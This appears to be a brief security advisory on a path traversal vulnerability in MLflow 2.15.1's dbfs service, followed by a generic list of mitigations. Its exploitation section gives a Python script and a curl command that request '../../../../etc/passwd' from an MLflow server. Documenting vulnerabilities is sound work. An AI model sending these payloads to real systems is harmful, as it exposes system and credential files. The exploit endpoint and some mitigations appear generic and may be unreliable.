How the CVE Works:
The vulnerability in MLflow version 2.15.1 arises due to improper handling of user-supplied URLs in the dbfs (Databricks File System) service. When users configure the dbfs service and mount it to a local directory, the system concatenates the URL directly into the file protocol without adequately sanitizing or validating the input. This oversight allows attackers to exploit path traversal techniques by manipulating query parameters or other URL components. As a result, an attacker can read arbitrary files from the local filesystem, potentially accessing sensitive information such as configuration files, credentials, or other critical data. The vulnerability is particularly dangerous because it requires minimal user interaction and can be exploited remotely if the dbfs service is exposed.
DailyCVE Form:
Platform: MLflow
Version: 2.15.1
Vulnerability: Path Traversal
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
import requests target_url = "http://<mlflow-server>/dbfs/file?path=../../../../etc/passwd" response = requests.get(target_url) print(response.text)
This script demonstrates how an attacker can exploit the vulnerability by crafting a malicious URL to read sensitive files.
2. Exploit via Curl:
curl "http://<mlflow-server>/dbfs/file?path=../../../../etc/passwd"
This command can be used to test or exploit the vulnerability directly from the command line.
3. Exploit via Browser:
Simply navigate to the crafted URL in a web browser to trigger the file read.
Protection:
1. Patch Application:
Upgrade to the latest version of MLflow where the vulnerability is patched.
2. Input Validation:
Implement strict input validation to ensure that user-supplied URLs do not contain malicious path traversal sequences.
3. Sanitization:
Use libraries or frameworks to sanitize URLs and prevent concatenation vulnerabilities.
4. Access Control:
Restrict access to the dbfs service to trusted users only and ensure it is not exposed to the public internet.
5. Web Application Firewall (WAF):
Deploy a WAF to detect and block path traversal attempts.
6. Logging and Monitoring:
Enable detailed logging and monitoring to detect suspicious activity related to file access.
7. Code Review:
Conduct regular code reviews to identify and fix similar vulnerabilities in the codebase.
8. Security Headers:
Implement security headers such as `Content-Security-Policy` to mitigate the impact of potential exploits.
9. Network Segmentation:
Isolate the MLflow server in a segmented network to limit the attack surface.
10. Regular Updates:
Keep all dependencies and libraries up to date to avoid known vulnerabilities.
By following these steps, organizations can mitigate the risk posed by this vulnerability and protect their systems from potential exploitation.
References:
Reported By: https://github.com/advisories/GHSA-4rqf-8pfm-p36r
Extra Source Hub:
Undercode
